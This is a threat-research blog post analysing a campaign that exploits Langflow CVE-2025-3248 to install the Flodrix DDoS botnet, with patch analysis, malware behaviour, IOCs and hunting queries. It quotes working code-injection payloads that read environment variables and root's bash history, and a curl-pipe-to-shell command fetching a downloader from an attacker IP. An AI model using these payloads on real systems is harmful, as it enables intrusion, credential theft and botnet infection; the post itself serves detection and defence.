Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet
This blog uncovers an active campaign exploiting CVE-2025-3248 in Langflow versions before 1.3.0 that deploys the Flodrix botnet, enabling threat actors to achieve full system compromise, initiate DDoS attacks, and potentially exfiltrate sensitive data.
Summary:
- Trend™ Research has identified an active campaign exploiting CVE-2025-3248 to deliver the Flodrix botnet. Attackers use the vulnerability to execute downloader scripts on compromised Langflow servers, which in turn fetch and install the Flodrix malware.
- CVE-2025-3248 (CVSS 9.8) is a critical vulnerability in Langflow versions before 1.3.0. Organizations using Langflow versions prior to 1.3.0 on public networks are at critical risk, as this vulnerability is being actively exploited in the wild. Langflow's broad adoption in prototyping and deploying intelligent automation makes vulnerable deployments attractive targets.
- If the vulnerability is successfully exploited, threat actors behind the Flodrix botnet can cause full system compromise, DDoS attacks, and potential loss or exposure of sensitive information hosted on affected Langflow servers.
- Organizations running Langflow should immediately patch and upgrade to version 1.3.0 or later, restrict public access to Langflow endpoints, and monitor for indicators of compromise associated with the Flodrix botnet.
- Trend Micro customers are protected from exploitation attempts via available Trend Vision One™ Network Security rules and filters. Trend Vision One customers can also access hunting queries, threat insights, and threat intelligence reports to gain rich context and the latest updates on this attack. These protection details can be found at the end of this article.
This blog details research and analysis of an active campaign that exploits a critical unauthenticated remote code execution (RCE) vulnerability, CVE-2025-3248, that has been identified in Langflow versions prior to 1.3.0.
Langflow is a Python-powered visual framework for building AI applications with over 70,000 GitHub stars, and its versions prior to 1.3.0 contains a flaw in its code validation mechanism that permits arbitrary code execution. Unauthenticated attackers can exploit this vulnerability by crafting malicious POST requests to the /api/v1/validate/code endpoint.
The malicious payload in our investigation was found embedded within argument defaults or decorators of a Python function definition. Since Langflow does not enforce input validation or sandboxing, these payloads are compiled and executed within the server's context, leading to RCE.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added this vulnerability to its Known Exploited Vulnerabilities (KEV) catalog on May 5, 2025. Table 1 summarizes the details of the vulnerability that we discuss further in this blog.
CVE Identifier | CVE-2025-3248 |
CVSS Score | CVSS Score: 9.8 (Critical) |
Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Affected Versions | Langflow versions before 1.3.0 |
Vulnerability Type | Missing authentication, Code Injection |
Impact | Allows remote unauthenticated attackers to execute arbitrary code |
Table 1: CVE-2025-3248 vulnerability details
Technical Analysis of the CVE-2025-3248 exploit

Based on our investigation and the command execution timeline, cybercriminals initiated the attack by first gathering a list of IP addresses and ports of publicly exposed Langflow servers, potentially using tools like Shodan or FOFA.
The attacker uses an open-source code proof of concept (PoC) from https://github.com/verylazytech/CVE-2025-3248 to obtain remote shell access on the vulnerable systems. The then attacker runs various reconnaissance bash commands on the infected system and sends the results back to the command-and-control (C&C) server.
The attacker then downloads and executes the Flodrix Botnet on the infected system. Once the malware is successfully installed and establishes a connection with the command and control (C&C) server, it can receive commands over TCP to launch various distributed denial-of-service (DDoS) attacks. The payload will terminate and delete itself unless a valid parameter is provided.
Based on these steps, the attacker is likely profiling all vulnerable servers and uses the collected data to identify high-value targets for future infections. During the investigation, we observed that the trojan downloader script executed the final payload with an invalid argument. As a result, after initial execution and establishing a connection, the malware terminated and deleted itself. This behavior is designed to determine which payload successfully executes on the target system architecture and can initiate communication with the C&C server.
The vulnerability resides specifically within the /api/v1/validate/code endpoint. This endpoint, designed to validate Python code snippets, fails to implement adequate authentication. It processes user-supplied code by first parsing it into an Abstract Syntax Tree (AST) using ast.parse(). Subsequently, it employs Python's compile() function to convert the AST into executable bytecode, which is then executed via exec();.
Malicious payloads can be embedded within these syntactic structures. When Langflow's compile() function processes an AST node representing a function with such embedded payloads, the malicious code is executed in the server's context. This occurs without any authentication, allowing remote attackers to submit crafted POST requests to achieve RCE.

Table 2 details specific Python payloads in the exploitation attempts we investigated against Langflow's vulnerable endpoint. These payloads, embedded within function default arguments or decorators, demonstrate various reconnaissance and initial access techniques.
exec('raise Exception(__import__(\"subprocess\").check_output(\"whoami\", shell=True))')
- Command executed: whoami
- Details: Identifies the current user/effective user ID of the process running the Langflow application on the compromised system. This is a common first step in reconnaissance to understand privileges.
exec('raise Exception(__import__(\"subprocess\").check_output(\"printenv\", shell=True))')
- Command executed: printenv
- Details: Dumps all environment variables. This can reveal sensitive information such as API keys, cloud credentials, database connection strings, or other configuration details accessible to the Langflow process.
exec('raise Exception(__import__(\"subprocess\").check_output(\"cat /root/.bash_history\", shell=True))')
- Command executed: cat /root/.bash_history
- Details: Attempts to read the Bash history file of the root user. This could expose previously executed commands, revealing insights into the system's administration, installed software, or potential misconfigurations.
exec('raise Exception(__import__(\"subprocess\").check_output(\"ip addr show\", shell=True))')
- Command executed: ip addr show
- Details: Displays network interface information and IP addresses configured on the system. This is crucial for network reconnaissance, helping attackers map the internal network and identify potential targets or egress points.
exec('raise Exception(__import__(\"subprocess\").check_output(\"ifconfig\", shell=True))')
- Command executed: ifconfig
- Details: Similar to ip addr show, this provides details about network interfaces, including IP addresses, MAC addresses, and network statistics. Often used for basic network enumeration.
exec('raise Exception(__import__(\"subprocess\").check_output(\"systemctl status sshd\", shell=True))')
- Command executed: systemctl status sshd
- Details: Checks the status of the SSH daemon service. This command is used to determine if SSH is running, which could indicate a potential remote access vector for the attacker
exec('raise Exception(__import__(\"subprocess\").check_output(\"capsh --print\", shell=True))')
- Command executed: capsh --print
- Details: Displays the current capabilities of the process. Understanding process capabilities (e.g., CAP_NET_BIND_SERVICE, CAP_SYS_PTRACE) can help attackers identify further escalation paths or privileged operations they can perform.
` exec('raise Exception(__import__(\"subprocess\").check_output(\"curl -s http://<IP>:<PORT>/dockersh\", shell=True))')
- Command executed: curl -s http://80.66.75.121:25565/docker | sh
- Details: This command downloads and execute a trojan downloader script named 'docker' from an attacker-controlled server.

We observed that the attacker used an open-source code proof of concept (PoC) from https://github.com/verylazytech/CVE-2025-3248 to interact with the vulnerable systems to enable code execution and payload delivery as part of the attack. Figure 4 and 5 demonstrates the PoC usage.


The attacker then runs various reconnaissance bash commands on the infected system and sends the results back to the C&C server.
CVE-2025-3248 patch analysis
A security update has been released for CVE-2025-3248 which is included in Langflow version 1.3.0. It resolves the authentication vulnerability in the /api/v1/validate/code endpoint and implements an authentication requirement by adding a new parameter, _current_user: CurrentActiveUser to the post_validate_code function. This parameter acts as an authentication dependency, verifying the user's identity and session validity before permitting access.

The CurrentActiveUser dependency checks for an authenticated user session, triggering an exception if the user is not authenticated. As a result, this update ensures that only authorized users can access the /api/v1/validate/code endpoint.
The authentication flow begins when a request is made to the /api/v1/validate/code endpoint. FastAPI parses the function signature and detects the _current_user: CurrentActiveUser dependency. It immediately pauses execution of post_validate_code.
Authentication is triggered when FastAPI invokes the underlying logic for CurrentActiveUser to satisfy the dependency. This logic's primary responsibility is to authenticate the user. It inspects the incoming request for credentials, specifically looking for:
- A JWT Bearer token in the Authorization header.
- An x-api-key provided in the request headers or as a query parameter.
Credentials are then validated, with two possible scenarios:
- Failure. If neither credential type is found, or if the provided token/key is invalid, the dependency raises an HTTPException. The request is immediately rejected with a 401 Unauthorized or 403 Forbidden error, and the endpoint's code is never reached.
- Success. If the credentials are valid, the dependency retrieves the corresponding user from the database.
In the case of a successful credential validation, the retrieved user object is then checked to ensure its is_active flag is true. If the user is inactive, the process is halted with another HTTPException.
Execution is granted only if the user is successfully authenticated and active does the dependency logic complete. FastAPI considers the dependency "satisfied" and finally proceeds to execute the code within the post_validate_code function.

Attack chain analysis
Name | docker |
MD5 | eaf854b9d232566e82a805e9be8b2bf2 |
SHA-1 | e367cee9e02690509b4acdf7060f1a4387d85ec7 |
SHA-256 | ec0f2960164cdcf265ed78e66476459337c03acb469b6b302e1e8ae01c35d7ec |
Size | 700 bytes |
File Type | Bash Script |
Table 2. Bash script downloader details
Upon successfully exploiting CVE-2025-3248, the threat actor deploys a bash shell script named "docker". This script is designed to download and execute ELF binaries of Flodrix botnet targeting multiple system architectures. It attempts to run the script /tmp/e1x with the argument _docker and then checks the output for the string “Upgrading Kernel..”. If this string is present, the condition passes, and the script deletes the downloaded file. If not, those commands are skipped.

During our investigation, we identified that the threat actor is hosting different downloader scripts on the same host 80[.]66[.]75[.]121 that serve the same purpose. This indicates that an active development is going on and multiple campaigns is active.
Name | deez |
MD5 | 176f293dd15b9cf87ff1b8ba70d98bcf |
SHA-1 | 7823b91efceedaf0e81856c735f13ae45b494909 |
SHA-256 | 64927195d388bf6a1042c4d689bcb2c218320e2fa93a2dcc065571ade3bb3bd3 |
Size | 5202 bytes |
File Type | Bash Script |
Table 3. Downloader variant details.
The script begins by terminating specific processes named "busybox," "systemd," and "watchdog" if their process IDs (PIDs) are greater than 500. This condition likely aims to avoid early started critical system processes, ensuring the script targets dynamically created or user-related processes that could interfere with its operations, such as security utilities.
It then sets up variables, including the server IP and ports for HTTP, TFTP, and FTP, specifying several file names corresponding to various system architectures. The script changes the working directory to /tmp, removes any pre-existing files that match the e1x.* pattern, and defines several utility functions. These functions check the existence of commands like wget, curl, and tftp, verify if they execute without being killed, and determine the best method available for downloading files.
The core functionality involves the download_with_fallback function, which attempts to download files using various defined methods. If the primary method fails, it falls back to using secondary methods like busybox versions of wget or curl, and as a last resort, tftp or ftpget.
Once a file is downloaded, it tries to execute the file using the execute_file function, which changes file permissions to make it executable and checks for certain output messages to determine the success or failure of the execution. The script processes each file in sequence, attempting to download and execute until a successful execution is achieved.

Flodrix botnet payload analysis
Name | e1x.x86_64 |
MD5 | 82d8bc51a89118e599189b759572459f |
SHA-1 | d703ec4c4d11c7a7fc2fcf4a4b8776862a3000b5 |
SHA-256 | 912573354e6ed5d744f490847b66cb63654d037ef595c147fc5a4369fef3bfee |
Size | 86032 bytes |
File Type | ELF |
Table 4. Flodrix botnet details
Our analysis indicates that the downloaded payload is an evolving variant of the LeetHozer malware family. This variant employs multiple stealth techniques, including self-deletion and artifact removal, to minimize forensic traces and hinder detection. It also uses string obfuscation to conceal command-and-control (C&C) server addresses and other critical indicators, complicating analysis efforts.
Notably, this version supports dual communication channels with its C&C infrastructure over both TCP and UDP channels. Once connected, it can receive commands over TCP to launch various distributed denial-of-service (DDoS) attacks.
Additionally, we have found some similarities with LeetHozer botnet covered by netlab360 team md5: 57212f7e253ecebd39ce5a8a6bd5d2df and we will demonstrate the similarities and difference during this research.

Upon execution, the malware decrypts an obfuscated string using a XOR-based algorithm with the key “qE6MGAbI”, the same key used by LeetHozer botnet. This reveals the message “Upgrading Kernel..” which is immediately written to standard output. This message acts as a signal indicating successful execution of the malware binary to the malware's downloader script.
Next, the malware retrieves its own process ID and allocates a clean memory buffer to handle any provided command-line arguments. If a single argument is present, it is copied into memory and promptly zeroed out.
The malware also performs self-deletion, erasing its own binary from disk by referencing its full execution path. These behaviors are anti-forensic technique, designed to hinder post-infection analysis.

Following this, the malware searches for a hidden file named “.system_idle”, with the filename being decrypted during runtime. This file is used to store the malware's process ID (PID) and serves as a tracker to determine if the malware has been previously executed. The presence of this file indicates a prior instance of execution. If found, the malware reads the file line by line, where each line is expected to contain one or two comma-separated PIDs.
For every valid PID identified, the malware checks if the corresponding process is still running. If it is, the malware forcibly terminates it using the SIGKILL signal. After completing this operation, the “.system_idle” file is deleted. This routine not only prevents duplicate or conflicting instances of the malware from running but also provides a self-termination or cleanup mechanism, allowing the malware to discreetly remove its own artifacts.

The malware then attempts to fork child processes with randomly generated names and parameters. The malware also performs anti-debugging technique by forking a new process and if the new process is not a child, it terminates the parent process which break debuggers.
If the malware successfully creates the child processes, it proceeds to write the process ID to the hidden file and perform its malicious activities. The malware decrypts embedded C&C server addresses using the same XOR key and initialize the connection with the C&C.

The malware supports two communication channels with its C&C server: one over standard TCP and another over the Tor network. By default, it establishes a socket connection with the C&C server using the TCP channel.

The malware then tries to connect to one of the C&C servers over port 54707. Once the malware successfully connects to the C&C server, it sends the first TCP request.

The packet has a fixed length of 255 bytes and includes hardcoded magic bytes 0x3A20, 0xB042, and 0x0001. Figure 14 shows the structure of the packet.

The checksum is computed by summing 12 consecutive 16-bit words, then folding the result into 16 bits by adding the high and low halves. The final checksum is the lower 16 bits of this folded value.
Upon receiving a response from the C&C server, the malware analyzes the first 32 bytes of the 255-byte reply packet. It begins by checking whether the first four bytes (the response header) are equal to 0xFF0103FF. If this condition is met, the malware terminates its execution and closes the socket connection. If not, it proceeds to verify the response by checking if bytes 4-7 equal 0x8931 or bytes 8-11 equal 0xB043.
If either condition is satisfied, the response is considered valid. The malware then modifies the received packet to construct the second request: it sets bytes 8-11 to 0x8932, updates the first two bytes to 0x3A20 instead of the source port, and assigns a new request number 0x0002.
Then, the malware sends the second request. The malware checks if the C&C replies with a valid response as in the first response, this time by checking if bytes 4-7 equal 0x4EEB or bytes 8-11 equal 0x8932. If either condition is satisfied, the response is considered valid, and the bot is active and ready to receive commands from the C&C.

The malware then begins sending periodic heartbeat requests, each consisting of a single byte with the value 0x00. In response to the first heartbeat, the C&C server typically replies with 0x01, instructing the bot to send the original parameter it was launched with. If the malware was executed without any parameters, it sends the string "null" by default.

The malware can receive commands from its C&C server to launch various DDoS attacks. Upon receiving a response packet from the C&C, the malware parses it to extract critical attack parameters such as the attack type, target IP address, target port, and attack duration.

These pieces of information are stored in a structured format. The number of structures is calculated by XORing the first byte 0x3e with the fifth byte 0x3f. Once the count is determined, the malware proceeds to extract and populate each structure accordingly. Each structure consists of structure header and structure value. Structure begins with 0x0001 or 0x0002, which represent structure type.

The malware can receive different types of configurations from the C&C. Table 3 shows found values and their corresponding purpose.
Structure types | 0x0001 | Add 4 bytes of Zero Padding | |
0x0002 | No Zero bytes padding | ||
Value Types | 0x0004 | Attack Type | tcpraw, udpplain, handshake, tcplegit, ts3, udp |
0x0005 | Attack Duration | ||
0x0006 | Target IP | ||
0x000C | Target Port |
Table 5. Structure and value types
The malware can perform various DDoS attacks based on the configuration received from the C&C. The supported DDoS attacks are tcpraw, udpplain, handshake, tcplegit, ts3, and udp.

Notable changes in the Flodrix botnet
While the Flodrix botnet sample we investigated showed similarities with the variant analyzed by netlab360 team md5: 57212f7e253ecebd39ce5a8a6bd5d2df such as the string decryption mechanism, XOR key, and traffic structure, it also presents distinct differences which we discuss in this section.
We observed changes in the response headers as shown in Figure 22.

The new variant also appears to support additional configuration options; however, due to limited access to the C&C server, these configurations could not be fully identified.

Another significant change is the introduction of new DDoS attack types, which are now also encrypted, adding a further layer of obfuscation.

The new sample also notably enumerates the running processes by opening /proc directory to access all running processes. It iterates through the directory entries to filter out valid process identifiers (PIDs) and fetches detailed information about them, such as command names, execution paths, and command-line arguments.
Then, the malware compares the running process with specific process such as init, systemd, watchdog, busybox and /bin/busybox. Additionally, it checks if the process is running from /tmp directory. If a process matches the conditions, it sends signals to terminate it and sends a notification message starts with “KILLDETAIL|” to the C&C over port 50445 over UDP with terminated process details.

Figure 26 illustrates the notification request with process details:

The following table shows the structure if the UDP notification traffic:
KILLDETAIL|PID|PPID|SIGNAL|COMM|EXE|CWD|CMDLINE|SOCKET_COUNT | |
KILLDETAIL | Hardcoded value |
PID (Process ID) | Get from PID from /proc directory |
PPID (Parent Process ID) | Get from /proc/%d/stat file with %c %d options |
Signal (Action) | Hardcoded values. Possible values (2,3,4,5,8,9) |
COMM (Process Name) | Get from /proc/%d/comm file |
EXE (Process Executable Path) | Get from /proc/%d/exe file |
CWD (Current Working Directory) | Get from /proc/%d/cwd file |
CMDLINE (Command Line) | Get from /proc/%d/cmdline file |
Number of sockets | Get from /proc/%d/fd/%s file |
Table 6. UDP notification request anatomy
Proactive security with Trend Vision One™
Trend Vision One™ is the only AI-powered enterprise cybersecurity platform that centralizes cyber risk exposure management, security operations, and robust layered protection. This comprehensive approach helps you predict and prevent threats, accelerating proactive security outcomes across your entire digital estate.
Backed by decades of cybersecurity leadership and Trend Cybertron, the industry's first proactive cybersecurity AI, it delivers proven results: a 92% reduction in ransomware risk and a 99% reduction in detection time. Security leaders can benchmark their posture and showcase continuous improvement to stakeholders.
Trend protections for CVE-2025-3248
The following protections have been available to Trend Micro customers:
Trend Vision One™ Network Security
- TippingPoint Intrusion Prevention Filters:
- 46063: TCP: Trojan.Linux.FlodrixBot.A Runtime Detection
- 46064: UDP: Trojan.Linux.FlodrixBot.A Runtime Detection
- 45744: HTTP: Langflow Code Injection Vulnerability
- Deep Discovery Inspector (DDI) Relevance Rule: 5411: CVE-2025-3248 - LANGFLOW RCE - HTTP (Request)
Trend Micro™ Threat Intelligence
To stay ahead of evolving threats, Trend customers can access Trend Vision One™ Threat Insights, which provides the latest insights from Trend Research on emerging threats and threat actors.
Trend Vision One Threat Insights
Emerging Threats: Critical Langflow Vulnerability [CVE-2025-3248] Actively Exploited to Deliver Flodrix Botnet
Hunting Queries
Trend Vision One Search App
Trend Vision One customers can use the Search App to match or hunt the malicious indicators mentioned in this blog post with data in their environment.
C&C connections of Flodrix Botnet
eventSubId:602 AND objectIp:(80.66.75.121 OR 45.61.137.226 OR 206.71.149.179 OR 188.166.68.21)
More hunting queries are available for Vision One customers with Threat Insights Entitlement enabled
Indicators of Compromise (IOCs)
You can find the IoCs for this blog here.